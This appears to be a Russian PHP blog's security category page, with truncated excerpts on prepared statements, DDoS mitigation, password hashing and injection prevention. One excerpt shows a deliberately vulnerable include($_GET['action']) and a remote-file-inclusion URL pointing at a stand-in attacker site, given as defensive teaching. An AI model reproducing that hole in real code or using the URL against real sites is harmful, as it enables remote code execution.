Безопасность | Web Мастерская

Блог

Web Мастерская

Безопасность и производительность запросов в PHP с использованием PDO Prepared Statements

Использование PDO (PHP Data Objects) и подготовленных выражений (prepared statements) — это важный аспект разработки веб-приложений на PHP. Эти инструменты обеспечивают защиту от SQL-инъекций, повышают производительность приложений и делают код более удобным для чтения и сопровождения.

Почему важны подготовленные выражения?

Современные веб-приложения часто взаимодействуют с базами данных, отправляя запросы для получения или изменения данных. Прямая вставка переменных в SQL-запросы представляет собой серьезную угрозу безопасности, известную как SQL-инъекции. Используя подготовленные выражения, разработчики могут значительно снизить риск таких угроз.

Кроме того, подготовленные выражения улучшают производительность приложений, особенно при многократном выполнении схожих запросов.

Как работают подготовленные выражения?

Подготовленные выражения используют плейсхолдеры (placeholders) вместо непосредственных значений в SQL-запросах. Эти плейсхолдеры позже замещаются реальными значениями при...

Жалоба

Может ли PHP остановить DDoS атаку?

PHP Безопасность

PHP сам по себе не предназначен для остановки DDoS атак, поскольку PHP — это серверный скриптовый язык программирования, используемый преимущественно для обработки запросов и генерации динамического контента. Однако с помощью PHP можно реализовать некоторые меры защиты, которые помогут смягчить последствия атаки:

Основные методы защиты от DDoS атак с использованием PHP

1. Логирование и мониторинг
Добавьте логирование подозрительных запросов, чтобы отслеживать аномалии в трафике. Например, можно записать IP адреса, частоту запросов и тип запрашиваемых ресурсов.

Выделить

// Логирование запросов
file_put_contents('access.log', date('Y-m-d H:i:s') . ' - ' . $_SERVER['REMOTE_ADDR'] . "\n", FILE_APPEND);

2. Фильтрация запросов
Реализуйте фильтрацию запросов на основе определенных критериев, таких как частота запросов от одного IP адреса, объем передаваемых данных и т.п.

Выделить

session_start();
if (!isset( $_SESSION['request_count'])) {
    $_SESSION['request_count'] =

...

Жалоба

Как использовать функции password_hash и password_verify в PHP

PHP Безопасность

Одним из самого важного для пользователя интернета является его безопасность, нельзя допустить утечку его личных данных. Хэширование пароля - это один из пунктов безопасности для пользователя, чем строка хэша будет сложнее, тем труднее будет получить из нее пароль.

Когда то для хеширования пароля достаточно было функции "md5", но сегодня этого мало: https://secure.php.n ... swords.fasthash:

Почему популярные хеширующие функции, такие как md5() и sha1() не подходят для паролей?
Такие хеширующие алгоритмы как MD5, SHA1 и SHA256 были спроектированы очень быстрыми и эффективными. При наличии современных технологий и оборудования, стало довольно просто выяснить результат этих алгоритмов методом "грубой силы" для определения оригинальных вводимых данных.

Из-за той скорости, с которой современные компьютеры могут "обратить" эти хеширующие алгоритмы, многие профессионалы компьютерной безопасности строго не рекомендуют использовать их для хеширования паролей.

PHP.NET рекомендует для...

Жалоба

Как предотвратить PHP, SQL и XSS инъекции (Безопасность)

PHP Безопасность

Я конечно не супер-профессионал по безопасности, но некоторые познания в области безопасности php скриптов есть. Итак, часто встречающиеся дыры в php скриптах:
- PHP инъекция.
- SQL инъекция.
- XSS.
Вот про борьбу с этими уязвимостями и пойдёт речь. Статей по безопасности конечно уйма, но всё же, внесу и свою лепту.

Что же это такое PHP-инъекция?
PHP-инъекция - способ взлома сайта путём выполнения на сайте стороннего PHP кода. Например, вы хотите подключить необходимый файл, в зависимости от параметра, пришедшего из GET:

Выделить

# Получаем имя файла
$action = isset($_GET['action']) ? $_GET['action'] : null; 

# Тут какие-то действия
# ...

# Подключаем файл
include($action);

Если ввести такой URL: http://ваш_сайт/ваш_файл.php?action=http://сайт_взломщика/файл то, если в файле php.ini на вашем сервере включена директива allow_url_include, злоумышленник может внести код, который хочет выполнить на вашем сайте, в тот файл, на который он указал ссылку и код успешно выполнится на вашем...

Жалоба